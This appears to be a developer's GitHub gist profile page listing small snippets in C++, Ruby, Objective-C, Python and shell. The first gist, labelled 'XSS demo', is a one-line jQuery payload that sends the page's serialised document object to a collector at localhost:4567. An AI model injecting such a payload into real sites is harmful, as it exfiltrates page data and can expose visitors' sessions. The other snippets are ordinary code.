Skip to content

Instantly share code, notes, and snippets.

View jtomschroeder's full-sized avatar

Tom Schroeder jtomschroeder

View GitHub Profile
@jtomschroeder
jtomschroeder / code.js
Last active August 29, 2015 14:26
XSS demo
$.get("http://localhost:4567/?document=" + encodeURIComponent(JSON.stringify(document)), function(data, status) {});
@jtomschroeder
jtomschroeder / HashMap.h
Last active August 29, 2015 13:56 — forked from aozturk/HashMap.h
#include <iostream>
#include <functional>
using namespace std;
template <typename K, typename V, int TABLE_SIZE = 100>
class HashMap
{
private:
struct HashNode
@jtomschroeder
jtomschroeder / colored_strings.rb
Last active December 22, 2015 20:29
Colored string output with ANSI escape sequences - http://ascii-table.com/ansi-escape-sequences.php
class String
def colorize(color_code)
"\e[#{color_code}m#{self}\e[0m"
end
color_escapes = {"black" => 30, "red" => 31, "green" => 32, "yellow" => 33, "blue" => 34, "magenta" => 35, "cyan" => 36, "white" => 37}
color_escapes.each do |key, value|
define_method(key) { colorize(value) }
@jtomschroeder
jtomschroeder / attrs.rb
Created August 9, 2013 16:59
custom attrs
module Attrs
def attr_initialize(*vars)
define_method(:initialize) do |*values|
unless values.length == vars.length
raise ArgumentError, "wrong number of arguments (#{values.length} for #{vars.length})"
end
vars.zip(values).each do |var, value|
instance_variable_set("@#{var}", value)
@jtomschroeder
jtomschroeder / new_delete.cpp
Created March 13, 2013 18:02
Arduino new/delete operations: Include these two operator overloads to add new and delete to your Arduino project.
#include <stdlib.h>
void* operator new(size_t size)
{
return malloc(size);
}
void operator delete(void *ptr)
{
if (ptr)
@jtomschroeder
jtomschroeder / nslog_notimestamp.h
Created March 13, 2013 18:00
NSLog without a timestamp.
#define NSLog(FORMAT, ...) fprintf( stderr, "%s\n", [[NSString stringWithFormat:FORMAT, ##__VA_ARGS__] UTF8String] );
@jtomschroeder
jtomschroeder / macruby_task.rb
Last active December 14, 2015 21:58
MacRuby: using NSTask to execute `ls -l -a` and print the result.
framework "Cocoa"
task = NSTask.new
task.launchPath = "/bin/ls"
task.arguments = ["-l", "-a"]
stdoutPipe = NSPipe.pipe
task.standardOutput = stdoutPipe
task.launch
@jtomschroeder
jtomschroeder / ubuntuInstallEtoile.sh
Created August 7, 2012 20:10
Script for installing Etoile on Ubuntu
#!/bin/sh
# From http://svn.gna.org/viewcvs/*checkout*/etoile/trunk/Etoile/LiveCD/Subscripts/ubuntu-install-etoile.sh?content-type=text%2Fplain
# Date: Aug 7, 2012
# Initialize option variables with default values
BUILD_DIR=$PWD/build
PREFIX_DIR=/
ETOILE_VERSION=trunk
@jtomschroeder
jtomschroeder / Fibonacci.py
Last active October 6, 2015 03:58
Fibonacci Python
class Fibonacci:
def __init__(self):
self.x, self.y = 0, 1
def printSeq(self, count):
for i in range(count):
print self.x
self.x, self.y = self.y, self.x + self.y